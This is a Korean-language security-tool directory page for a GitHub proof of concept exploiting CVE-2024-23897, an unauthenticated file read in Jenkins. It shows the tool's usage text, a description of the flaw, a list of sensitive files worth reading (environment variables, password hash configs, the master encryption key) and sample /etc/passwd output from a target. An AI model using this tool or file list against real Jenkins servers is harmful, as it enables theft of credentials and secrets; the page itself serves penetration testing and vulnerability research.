Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-23897 — POC for CVE-2024-23897 Jenkins File-Read | Kitploit
도구/GitHubGitHub/godylockz/cve-2024-23897
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubgodylockz/cve-2024-23897

CVE-2024-23897

POC for CVE-2024-23897 Jenkins File-Read

저장소 보기
4359개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Anant의 수정 사항


  • /etc/os-release 같은 파일 읽기 시 내용이 잘리던 문제를 수정했습니다.
  • 인증된 세션 지원 추가: 명령줄 인수로 사용자 이름과 비밀번호를 제공합니다.

root@kitploit:~
usage: jenkins_fileread.py [-h] -u URL [-a USERAGENT] [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v] [--username USERNAME] [--password PASSWORD]

POC for CVE-2024-23897 (Jenkins file read)

options:
  -h, --help            show this help message and exit
  -u, --url URL         Jenkins URL
  -a, --useragent USERAGENT
                        User agent to use when sending requests
  -f, --file FILE       File path to read
  -t, --timeout TIMEOUT
                        Request timeout
  -s, --save            Save file contents
  -o, --overwrite       Overwrite existing files
  -p, --proxy PROXY     HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  -v, --verbose         Verbosity enabled - additional output flag
  --username USERNAME   Jenkins username for authentication
  --password PASSWORD   Jenkins password or API token for authentication

아래는 원본 README입니다

CVE-2024-23897: Jenkins 임의 파일 읽기

설명

이 PoC(Proof-of-Concept)는 CVE-2024-23897을 악용하여 Jenkins 서버(버전 2.441 이하)에서 파일 읽기 액세스를 얻는 데 사용할 수 있습니다.

Jenkins 2.441 및 이전 버전, LTS 2.426.2 및 이전 버전은 CLI 명령 파서의 기능을 비활성화하지 않습니다. 이 기능은 인수에서 @ 문자 다음에 파일 경로가 오면 해당 파일의 내용으로 대체하여, 인증되지 않은 공격자가 Jenkins 컨트롤러 파일 시스템에서 임의의 파일을 읽을 수 있도록 합니다.

심각도: 7.5 HIGH 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

이 취약점에는 심각한 제한이 있습니다. 바이너리 파일을 완전히 읽을 수 없습니다. 관심 있을 만한 일반 텍스트(비바이너리) 파일은 다음과 같습니다.

  • /proc/self/environ JENKINS_HOME을 포함한 환경 변수
  • /proc/self/cmdline 명령줄 인수
  • /etc/hosts Linux 로컬 DNS 확인
  • /etc/passwd Linux 사용자 계정
  • /var/jenkins_home/users/users.xml 사용자 계정 저장 위치
  • /var/jenkins_home/users/<user_directory>/config.xml 사용자 BCrypt 비밀번호 해시
  • /var/jenkins_home/secrets/master.key 암호화 비밀 키

사용법

root@kitploit:~
usage: jenkins_fileread.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]

POC for CVE-2024-23897 (Jenkins file read)

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Jenkins URL
  -f FILE, --file FILE  File path to read
  -t TIMEOUT, --timeout TIMEOUT
                        Request timeout
  -s, --save            Save file contents
  -o, --overwrite       Overwrite existing files
  -p PROXY, --proxy PROXY
                        HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  -v, --verbose         Verbosity enabled - additional output flag

예시

root@kitploit:~
$ jenkins_fileread.py -u http://<target-ip>:8080
Welcome to the Jenkins file-read shell. Type help or ? to list commands.

file> /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

참고 자료

  • NIST CVE-2024-23897
  • Jenkins 보안 권고 2024-01-24
  • 과도한 확장: Jenkins의 심각한 보안 취약점 발견
  • CVE-2024-23897 분석: Jenkins 권고 직후 PoC 코드 등장
도구 다운로드